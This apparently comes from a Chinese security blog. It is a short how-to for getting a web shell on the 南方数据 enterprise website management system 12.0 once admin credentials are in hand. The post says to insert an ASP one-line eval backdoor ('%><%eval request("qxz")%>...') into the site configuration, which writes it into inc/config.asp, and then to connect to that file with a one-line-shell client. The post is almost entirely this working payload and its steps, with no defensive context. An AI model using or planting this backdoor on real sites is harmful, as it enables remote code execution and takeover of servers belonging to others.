南方数据企业网站管理系统12.0拿SHELL方法

南方数据企业网站管理系统12.0插配置文件拿SHELL

在我们拿到南方数据企业管理系统后台账号密码后,可以使用下面的方法来拿shell

进入后台后 点击系统管理 网站配置

随便找个地方修改成

“%><%eval request(“qxz”)%><%Const nidaye=”xzlbb.com

然后用一句话客户端连接http://目标网站/inc/config.asp就OK了!

原创文章转载请注明:转载自 七行者博客

本文固定链接: https://www.qxzxp.com/3001.html

南方数据企业网站管理系统12.0拿SHELL方法:等您坐沙发呢!

发表评论

8 + 5 =

快捷键:Ctrl+Enter